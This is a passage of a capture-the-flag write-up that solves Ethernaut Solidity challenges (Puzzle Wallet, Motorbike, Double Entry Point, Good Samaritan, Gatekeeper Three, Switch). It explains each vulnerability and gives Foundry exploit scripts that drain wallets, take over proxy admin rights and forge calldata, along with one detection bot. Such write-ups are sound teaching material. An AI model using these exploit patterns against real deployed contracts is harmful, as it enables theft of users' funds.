twice so that it will become 0.00 ether, but the actual wallet balance is 0.002. - Now we have enough
balance[msg.sender]
to pass the check done inexecute()
function. - So, now we can withdraw 0.002 ether from wallet, therefore the wallet balance becomes zero.
PuzzleWalletSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/PuzzleWallet.sol";
contract PuzzleWalletSolve is Script{
PuzzleProxy public proxy = PuzzleProxy(payable(0xf8393D543826B4240CEb1Dc159aa83d6a879D8c2));
PuzzleWallet public wallet = PuzzleWallet(0xf8393D543826B4240CEb1Dc159aa83d6a879D8c2);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Wallet Owner :", wallet.owner());
console.log("Proxy Admin :", proxy.admin());
console.log("Wallet Max Balance : ", wallet.maxBalance());
console.log("Proxy Pending Admin : ", proxy.pendingAdmin());
console.log("Wallet balance : ", address(wallet).balance);
Attack attack = new Attack();
attack.exploit{value: 0.001 ether}();
console.log("Wallet Owner :", wallet.owner());
console.log("Proxy Admin :", proxy.admin());
console.log("Wallet Max Balance : ", wallet.maxBalance());
console.log("Proxy Pending Admin : ", proxy.pendingAdmin());
console.log("Wallet balance : ", address(wallet).balance);
vm.stopBroadcast();
}
}
contract Attack {
PuzzleProxy public proxy = PuzzleProxy(payable(0xf8393D543826B4240CEb1Dc159aa83d6a879D8c2));
PuzzleWallet public wallet = PuzzleWallet(0xf8393D543826B4240CEb1Dc159aa83d6a879D8c2);
function exploit() payable public{
proxy.proposeNewAdmin(address(this)); // Changes pendingAdmin in Proxy and overwrites owner in Wallet
wallet.addToWhitelist(address(this));
// To set maxPrice ==> Wallet Balance should be 0, But Initiall Wallet Balance : 1000000000000000 (0.001 ETH)
// Make Wallet Balance 0
// use multicall to call deposit and multicall again with 0.001 eth
bytes[] memory _depositSelector = new bytes[](1) ;
_depositSelector[0] = abi.encodeWithSelector(wallet.deposit.selector);
bytes[] memory _nestedMulti = new bytes[](2);
_nestedMulti[0] = abi.encodeWithSelector(wallet.deposit.selector);
_nestedMulti[1] = abi.encodeWithSelector(wallet.multicall.selector, _depositSelector); // multicall calldata
// [deposit selector, multicall selector [deposit] ]
wallet.multicall{value: 0.001 ether}(_nestedMulti);
// Wallet Balance : 0.002 ETH
// Balance[msg.sender] = Balance[Attacker] = 0.003 ETH
// Call Execute function with amount 0.002
wallet.execute(address(this), 0.002 ether, "");
// Now Wallet Balance ==> 0
// wallet.setMaxBalance(uint256(uint160(address(this))));
wallet.setMaxBalance(uint256(uint160(address(0x699BceEbD59a5b52bB586C737cD7ba636f3Fe602)))); // sets proxyAdmin
}
receive() payable external{}
}
/*
// Proxy // Wallet
address public pendingAdmin; | address public owner;
address public admin; | uint256 public maxBalance;
*/
To run script :
$ source .env
$ forge script script/PuzzleWalletSolve.s.sol:PuzzleWalletSolve --rpc-url $RPC_URL --broadcast
25 Motorbike
Motorbike.sol
// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;
import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";
contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
struct AddressSlot {
address value;
}
// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(
abi.encodeWithSignature("initialize()")
);
require(success, "Call failed");
}
// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback () external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}
// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}
contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public upgrader;
uint256 public horsePower;
struct AddressSlot {
address value;
}
function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}
// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}
// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}
// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}
- Goal
- Would you be able to selfdestruct its engine and make the motorbike unusable ?
- Solution
- This is another upgradeable proxy contract setup. Motorbike contract is the proxy contract which forwards the calls to the implementation contract Engine.
- This time no storage collison is happened.
- We need to change the
updrader
of the Engine contract andselfdestruct
the Engine contract. - I dont see any function that selfdestructs Engine contract. So, we have to write an Attack contract which has the selfdestruct function and change the implementation address.
- We see only one time the
upgrader
was assigned inside Engine contract, that is insideinitialize()
function. And this initialize function was called inside the constructor of the Motobike. - But observe that this call was done using
delegatecall
, which is done in the context of the Motorbike. Not the Engine contract. - This means the
initialize()
function can be called again as theintializer
modfier not updated. - By calling
intialize()
we will become the updrader of the Engine contract. - Now, we can update the implementation addres by calling
upgradeToAndCall()
function and pass the data as the signature of thedestructEngine()
function to be called by the Engine contract. - This will destruct the Engine contract, because the call was done using
delegatecall
so the storage of the Engine will be affected.
MotorbikeSolve.s.sol
To run script :
$ source .env
$ forge script script/MotorbikeSolve.s.sol:MotorbikeSolve --rpc-url $RPC_URL --broadcast
26 Double Entry Point
DoubleEntryPoint.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts/contracts/access/Ownable.sol";
import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
interface DelegateERC20 {
function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}
interface IDetectionBot {
function handleTransaction(address user, bytes calldata msgData) external;
}
interface IForta {
function setDetectionBot(address detectionBotAddress) external;
function notify(address user, bytes calldata msgData) external;
function raiseAlert(address user) external;
}
contract Forta is IForta {
mapping(address => IDetectionBot) public usersDetectionBots;
mapping(address => uint256) public botRaisedAlerts;
function setDetectionBot(address detectionBotAddress) external override {
usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
}
function notify(address user, bytes calldata msgData) external override {
if(address(usersDetectionBots[user]) == address(0)) return;
try usersDetectionBots[user].handleTransaction(user, msgData) {
return;
} catch {}
}
function raiseAlert(address user) external override {
if(address(usersDetectionBots[user]) != msg.sender) return;
botRaisedAlerts[msg.sender] += 1;
}
}
contract CryptoVault {
address public sweptTokensRecipient;
IERC20 public underlying;
constructor(address recipient) {
sweptTokensRecipient = recipient;
}
function setUnderlying(address latestToken) public {
require(address(underlying) == address(0), "Already set");
underlying = IERC20(latestToken);
}
/*
...
*/
function sweepToken(IERC20 token) public {
require(token != underlying, "Can't transfer underlying token");
token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
}
}
contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable(address(0)) { // added address(0) to escape compiler errors
DelegateERC20 public delegate;
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
delegate = newContract;
}
function transfer(address to, uint256 value) public override returns (bool) {
if (address(delegate) == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
}
}
contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable (address(0)) { // added address(0) to escape compiler errors
address public cryptoVault;
address public player;
address public delegatedFrom;
Forta public forta;
constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) {
delegatedFrom = legacyToken;
forta = Forta(fortaAddress);
player = playerAddress;
cryptoVault = vaultAddress;
_mint(cryptoVault, 100 ether);
}
modifier onlyDelegateFrom() {
require(msg.sender == delegatedFrom, "Not legacy contract");
_;
}
modifier fortaNotify() {
address detectionBot = address(forta.usersDetectionBots(player));
// Cache old number of bot alerts
uint256 previousValue = forta.botRaisedAlerts(detectionBot);
// Notify Forta
forta.notify(player, msg.data);
// Continue execution
_;
// Check if alarms have been raised
if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
}
function delegateTransfer(
address to,
uint256 value,
address origSender
) public override onlyDelegateFrom fortaNotify returns (bool) {
_transfer(origSender, to, value);
return true;
}
}
- Goal
- Drain the underlying token balance of CryptoVault and Write a detection bot to catch this bug.
- Solution
- There are four contract in total CryptoVault, DoubleEntryPoint, LegacyToken and Forta.
- CryptoVault implemented
sweepToken()
function which allows us to sweep all the tokens from the CryptoVault except theunderlying
tokens. - The underlying token is an instance of the DET token implemented in the DoubleEntryPoint contract definition and the CryptoVault holds 100 units of it. Additionally the CryptoVault also holds 100 of LegacyToken LGT.
- LegacyToken is simple ERC20 token which is already deployed and minted 100 tokens for the CryptoVault.
- LegacyToken also have function
transfer()
which is where the catch is,
function transfer(address to, uint256 value) public override returns (bool) {
if (address(delegate) == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
}
- I checked that the
delegate
is the address of the DoubleEntryPoint Token. And it is assigned to delegate in LegacyToken contract. - So, whenever we call the
transfer()
in LegacyToken it will call thedelegate.delegateTransfer(to, value, msg.sender);
. - Here the
delegate
==DET
address. Which means the LegacyToken contract is calling thedelegateTransfer()
function of DoubleEntryPoint contract. - Lets see what this function is doing,
function delegateTransfer(
address to,
uint256 value,
address origSender
) public override onlyDelegateFrom fortaNotify returns (bool) {
_transfer(origSender, to, value);
return true;
}
- Its sending the
DET
tokens to theto
address from theorigSender
ofvalue
. Lets see what are these values. - When this function executes it transfers DET tokens of
origSender
to theto
address. CryptoVault holds 100 DET tokens. - So, if the
origSender
is CryptoVault and the call todelegateTransfer()
was made byLegacyToken
and no alerts from thefortaNotify
will transfer DET tokens from CryptoVault. (Ignore fortaNotify as they are not yet implmented) - The
delegateTransfer()
is called by LegacyToken contract from thetransfer()
function. TheorigSender
is themsg.sender
of transfer() function in LegacyToken. - So, we have to make the CryptoVault to call the
transfer()
function of the LegacyToken. - We see the one
transfer()
call is made on thetoken
by CryptoVault insidesweepToken()
function.
function sweepToken(IERC20 token) public {
require(token != underlying, "Can't transfer underlying token");
token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
}
- To make the LegacyToken
tranfer()
called by the CryptoVault, we need to pass the LegacyToken instance to thesweepToken()
function. - Now the CryptoVault balance of DET token becomes zero.
- We identified the bug and sweeped out the DET tokens of the CryptoVault.
- Now we have to write a
detectionbot
to catch this bug. We are given withForta
interface which can be used to build the bot. - We have to build a bot that raises an alert when we see any transaction that transfers DET tokens from CryptoVault.
- The
msg.data
that received atfortNotify()
,
data = <delegateTransfer() signature> <to> <value> <origSender>
- If we access
msg.data
insidehandleTransaction()
,
msg.data = <handleTransaction() signature> <user> <data>
- We need to extract
origSender
from themsg.data
insidehandleTransaction()
function implemented in our bot contract. - Lets see how the calldata at
handleTransaction()
is looks like,
0x00 : handleTransaction signature[4 bytes]
0x04 : 0000....0000 // <user> address
0x24 : 0000....0000 // offset of the <data>
0x44 : 0000....0000 // length of the <data>
0x64 : 0000....0000 // <data>
<data>
0x64 : <delegateTransfer() signature> [4 bytes]
0x68 : 0000....0000 // <to> address
0x88 : 0000....0000 // <value>
0xA8 : 0000....0000 // <origSender>
- So, the
origSender
is from the0xA8
byte of themsg.data
insidehandleTransaction()
function. - We can use
calldataload
opcode to access theorigSender
. And if the origSender is equals to CryptoVault then raise an alert. - Now our bot is ready, we have to deploy it and register the bot at
Forta
contract. - And that's enough to solve this challenge.
DoubleEntryPointSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/DoubleEntryPoint.sol";
contract DoubleEntryPointSolve is Script {
DoubleEntryPoint public det = DoubleEntryPoint(0xaf69EbD36B5465a0764Db0FE4dE0040780F6533C);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
address cryptovault = det.cryptoVault();
address player = det.player();
address delegatedFrom = det.delegatedFrom(); // Legacy Token Address
console.log("CryptoVault : ", cryptovault);
console.log("Player : ", player);
console.log("LGT : ", delegatedFrom);
LegacyToken lgt = LegacyToken(delegatedFrom);
CryptoVault cv = CryptoVault(cryptovault);
console.log("CryptoVault balance of DET : ", det.balanceOf(cryptovault));
console.log("CryptoVault balance of LGT : ", lgt.balanceOf(cryptovault));
console.log("Delegate of LGT : ", address(lgt.delegate()));
console.log("DET : ", address(det));
console.log("Both are same");
Forta forta = det.forta();
console.log("registering bot.........");
DetectionBot bot = new DetectionBot();
forta.setDetectionBot(address(bot));
console.log("BOT ALERTS Before exploit : ",forta.botRaisedAlerts(address(bot)));
console.log("Exploiting DET...........");
// new Attack().exploit(); // reverts because bot detects the exploit
console.log("CryptoVault balance of DET : ", det.balanceOf(cryptovault));
console.log("BOT ALERTS After exploit : ",forta.botRaisedAlerts(address(bot)));
vm.stopBroadcast();
}
}
contract Attack{
DoubleEntryPoint public det = DoubleEntryPoint(0xaf69EbD36B5465a0764Db0FE4dE0040780F6533C);
address public cryptovault = det.cryptoVault();
address public player = det.player();
address public delegatedFrom = det.delegatedFrom(); // Legacy Token Address
function exploit() public{
CryptoVault cv = CryptoVault(cryptovault);
cv.sweepToken(IERC20(delegatedFrom));
}
}
contract DetectionBot{
DoubleEntryPoint public det = DoubleEntryPoint(0xaf69EbD36B5465a0764Db0FE4dE0040780F6533C);
address public cryptovault = det.cryptoVault();
function handleTransaction(address user, bytes calldata msgData) external {
address origSender;
assembly {
origSender := calldataload(0xa8)
}
if (origSender ==cryptovault ){
Forta(msg.sender).raiseAlert(user); // raise alert of Forta contract
}
}
}
To run script :
$ source .env
$ forge script script/DoubleEntryPointSolve.s.sol:DoubleEntryPointSolve --rpc-url $RPC_URL --broadcast
27 Good Samaritan
GoodSamaritan.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import "openzeppelin-contracts/contracts/utils/Address.sol";
contract GoodSamaritan {
Wallet public wallet;
Coin public coin;
constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));
wallet.setCoin(coin);
}
function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}
contract Coin {
using Address for address;
mapping(address => uint256) public balances;
error InsufficientBalance(uint256 current, uint256 required);
constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10**6;
}
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
//if(dest_.isContract()) {
if (dest_.code.length != 0){
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}
contract Wallet {
// The owner of the wallet instance
address public owner;
Coin public coin;
error OnlyOwner();
error NotEnoughBalance();
modifier onlyOwner() {
if(msg.sender != owner) {
revert OnlyOwner();
}
_;
}
constructor() {
owner = msg.sender;
}
function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}
function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}
function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}
interface INotifyable {
function notify(uint256 amount) external;
}
- Goal
- Would you be able to drain all the balance from his Wallet?
- Solution
- There in total three contract are given to us.
GoodSamaritan
contract deployesWallet
andCoin
contracts. - Good samaritan will be the
owner
of theWallet
contract. And the wallet contract will have 10**6 Coin balances. - We are given with the GoodSamaritan instance address. We can able to call the
requestDonation()
function to get 10 coins from the GoodSamaritan's Wallet. - One call to
requestDonation()
will get 10 coins only. To drain all the coins of the Wallet we need to call therequestDonation()
function100000
times which requires more gas. - Instead we can try to invoke the
withdrawRemainder()
function which will send all the coins at a time. - The
withdrawRemainder()
is called when thewallet.donate10(msg.sender)
returns errorNotEnoughBalance()
defined inside Wallet contract. - GoodSamaritan contract expects the error from the Wallet contract only. But as per the solidity docs, the error may be raised and bubbled up by any intermediary contract. That means we cannot predict the origin of the error.
- So, can we raise error by ourself to the GoodSamaritan..? yes, When transfering 10 coins to the sender inside the
Coin
contract it notifies the sender if the sender is a contract. - This means it calls to our
msg.sender
, now we can implement thenotify()
function inside our Attack contract and revert with theNotEnoughBalance()
error when receiving the 10 coins. - We should revert the
NotEnoughBalance()
error when only receiving the 10 coins not when the GoodSamaritan sending whole coins. - For this I used the amount parameter sent by the Coin contract through the notify call.
- Now GoodSamaritan gets the error
NotEnoughBalance()
when it sends 10 coins to us, immediately it will send whole coins to us.
GoodSamaritanSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/GoodSamaritan.sol";
contract GoodSamaritanSolve is Script {
GoodSamaritan public gs = GoodSamaritan(0x5887fc48Bd661cCD104998d3BB556b1879aC4cC2);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Wallet Address : ", address(gs.wallet()));
console.log("Coin Address : ", address(gs.coin()));
console.log("Balance of Wallet", gs.coin().balances(address(gs.wallet())));
new Attack().exploit();
console.log("Balance of Wallet", gs.coin().balances(address(gs.wallet())));
vm.stopBroadcast();
}
}
contract Attack{
error NotEnoughBalance();
GoodSamaritan public gs = GoodSamaritan(0x5887fc48Bd661cCD104998d3BB556b1879aC4cC2);
function exploit() public{
gs.requestDonation();
}
function notify(uint256 amount) external{
if(amount <= 10){ // only revert when receiving 10 coins
revert NotEnoughBalance();
}
}
}
To run script :
$ source .env
$ forge script script/GoodSamaritanSolve.s.sol:GoodSamaritanSolve --rpc-url $RPC_URL --broadcast
28 Gatekeeper Three
GatekeeperThree.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint private password = block.timestamp;
constructor (address payable _target) {
target = GatekeeperThree(_target);
}
function checkPassword(uint _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}
function trickInit() public {
trick = address(this);
}
function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}
contract GatekeeperThree {
address public owner;
address public entrant;
bool public allowEntrance;
SimpleTrick public trick;
function construct0r() public {
owner = msg.sender;
}
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
modifier gateTwo() {
require(allowEntrance == true);
_;
}
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
function getAllowance(uint _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}
function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}
function enter() public gateOne gateTwo gateThree {
entrant = tx.origin;
}
receive () external payable {}
}
- Goal
- Cope with gates and become an entrant.
- Solution
- Similar to GatekeeperOne and GatekeeperTwo we need to pass the three gate checks by the modifiers when calling the
enter()
function. gateOne()
can be bypassed if we are the owner of the contract and we need call from a contract.- To be be the owner we can call the
construct0r()
function its not the actual constructor(), so we can be the owner after calling it. gateTwo()
will be passed if we managed to change theallowEntrance
value to true. To do it, we need to call thegetAllowance()
function with the right password defined inside SimpleTrick contract.- So, we need to deploy a SimpleTrick contract first, we can do this by calling
createTrick()
function. - After that we need to find the password stored inside SimpleTrick contract. We can do this by using
vm.load
cheatcode or we can find the password inside our Attack contract. - Because the password is the
block.timestamp
which will be same during a transaction. If we deploy the SimpeToken and get the block.timestamp inside same call, the block.timestamp will be the password for us. - Callling
getAllowance()
with this value will pass the gateTwo. - For
gateThree()
the balance of the GatekeeperThree should be greater than 0.001 ether and when the GatekeeperThree sends 0.001 ether to owner it should return false. - Remember owner is out attack contract, GatekeeperThree sending ether using
send
call.send
call will returnfalse
when the transaction fails. - So, we have to deny the ether sent by the GatekeeperThree. To do this, I haven't implemented any fallback or receive function inside my Attack contract.
- For this reason the send will return false to GatekeeperThree contract and now we will able to register as entrant.
GatekeeperThreeSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/GatekeeperThree.sol";
contract GatekeeperThreeSolve is Script {
GatekeeperThree public gate = GatekeeperThree(payable(0x152e56fe5FEC16f910Ea83294dD321a0c8380193));
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Gate Owner : ", gate.owner());
// address trick = gate.trick().trick();
// console.log("Trick Address : ", trick);
// bytes32 _password = vm.load(trick, bytes32(uint(2)));
// uint password = uint(_password);
// console.log("Password : ", password);
Attack attack = new Attack{value: 0.002 ether}();
attack.exploit();
console.log("Allow Entrance : ", gate.allowEntrance());
console.log("Gate Owner : ", gate.owner());
console.log("Entrant : ", gate.entrant());
vm.stopBroadcast();
}
}
contract Attack{
GatekeeperThree public gate = GatekeeperThree(payable(0x152e56fe5FEC16f910Ea83294dD321a0c8380193));
constructor() payable{}
function exploit() public {
gate.construct0r();
gate.createTrick();
gate.getAllowance(block.timestamp);
(bool success, ) = payable(address(gate)).call{value : address(this).balance}("");
require(success, "Tx Failed");
gate.enter();
}
}
To run script :
$ source .env
$ forge script script/GatekeeperThreeSolve.s.sol:GatekeeperThreeSolve --rpc-url $RPC_URL --broadcast
29 Switch
Switch.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Switch {
bool public switchOn; // switch is off
bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));
modifier onlyThis() {
require(msg.sender == address(this), "Only the contract can call this");
_;
}
modifier onlyOff() {
// we use a complex data type to put in memory
bytes32[1] memory selector;
// check that the calldata at position 68 (location of _data)
assembly {
calldatacopy(selector, 68, 4) // grab function selector from calldata
}
require(
selector[0] == offSelector,
"Can only call the turnOffSwitch function"
);
_;
}
function flipSwitch(bytes memory _data) public onlyOff {
(bool success, ) = address(this).call(_data);
require(success, "call failed :(");
}
function turnSwitchOn() public onlyThis {
switchOn = true;
}
function turnSwitchOff() public onlyThis {
switchOn = false;
}
}
- Goal
- Just have to flip the switch.
- Solution
- Switch contract has three functions
turnSwitchOff()
,turnSwitchOn()
andflipSwitch()
. In which we can only able to call flipSwitch function. - By using this flipSwitch only we have to call the
turnSwitchOn()
function. For this we need to pass the calldata for the function callturnSwitchOn()
. - But If we pass the
turnSwitchOn()
calldata to theflipSwitch()
it will be reverted byonlyOff
modifier. - Because, onlyOff is checking that the calldata's 68 to 72 bytes should only contain the signature of the
turnSwitchOff()
function. - The vulnerability is present inside the
onlyOff()
modifier as its function signature check byte position is hardcoded (68,4). - We can modify the calldata in order to bypass the check and as well as call the
turnSwitchOn()
function. - Lets understand
calldata
specificly when passing dynamic datatypes as arguments - When we call a function on a contract, the calldata will be sent via the transaction as
msg.data
, Lets see what this data consists.calldata with dynamic arguments => <function signature> <offset> <length of data> <data> Each field will be padded to 32 bytes except function signature. calldata when we call flipSwitch() with turnSwitchOff() function signature 30c13ade // flipSwitch() signature 00 : 0000000000000000000000000000000000000000000000000000000000000020 ==> offset - the starting position of the actual data 20 : 0000000000000000000000000000000000000000000000000000000000000004 ==> length - data length 40 : 20606e1500000000000000000000000000000000000000000000000000000060 ==> data - data that we passed through argument (turnSwitchOff() signature)
- This call to flipSwitch() is succeeded because the check was passed. The check is that from the 68th byte to 72nd byte will be sliced out and this will be checked with the signature of the
turnSwitchOff()
function. - Now we somehow should manage to send the
turnSwitchOn()
signature along with this calldata. And we should make sure that onlyturnSwitchOn()
signature should be passed to thecall
insideflipSwitch()
. - The data which is used inside the function will be specified by the
offset
. The function will make use of the actual data that is pointed by the offset. - As the
onlyOff
modifier uses the hardcoded check, we can modify the calldata to be able to insert theturnSwitchOff()
function signature at the 68th bytes and append theturnSwitchOn()
signature. - Now we have to change the offset of the calldata in such a way that it points to the
turnSwitchOn()
signature.calldata to bypass onlyOff => <flipSwitch Singature> <Offset> <Dummy Data> <turnSwitchOff Signature> <length of data> <turnSwitchOn Signature> 30c13ade
00 : 00000000000000000000000000000000000000000000000000000000000000[60] ==> Offset - position of actual data 20 : 0000000000000000000000000000000000000000000000000000000000000000 ==> Dummy data - to move turnSwitchOff data to 68th byte 40 : 20606e1500000000000000000000000000000000000000000000000000000000 ==> Data - turnSwitchOff() selector (By passes onlyOff) 60 : 0000000000000000000000000000000000000000000000000000000000000004 ==> Length - Length of the turnSwitchOff() signature data 80 : 76227e1200000000000000000000000000000000000000000000000000000000 ==> Actual data - turnSwitchOff() signature
14. Now this calldata will bypasses the check of onlyOff and we modified the offset to point it to the turnSwitchOn() signature.
15. So, now the calldata passed to the `call` inside flipSwitch() will be,
76227e1200000000000000000000000000000000000000000000000000000000
16. This will call the turnSwitchOn() function in Switch contract. Finally we will be able to solve the challenge.
`SwitchSolve.s.sol`
```javascript
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/Switch.sol";
contract SwitchSolve is Script {
Switch public sw = Switch(0x8592a0765f942ba46ADf3a0EB1fF57b1d74664F0);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Switch : ", sw.switchOn());
// bytes memory data = abi.encodeWithSignature("turnSwitchOff()");
bytes memory data = abi.encodeWithSignature("flipSwitch(bytes)",0x60, 0x00, 0x20606e1500000000000000000000000000000000000000000000000000000000, 0x04, 0x76227e1200000000000000000000000000000000000000000000000000000000);
console.logBytes(data);
address(sw).call(data);
console.log("Switch : ", sw.switchOn());
vm.stopBroadcast();
}
}
To run script :
$ source .env
$ forge script script/SwitchSolve.s.sol:SwitchSolve --rpc-url $RPC_URL --broadcast
That's it for the write-up ! To connect with me send a request at @TheMj0ln1r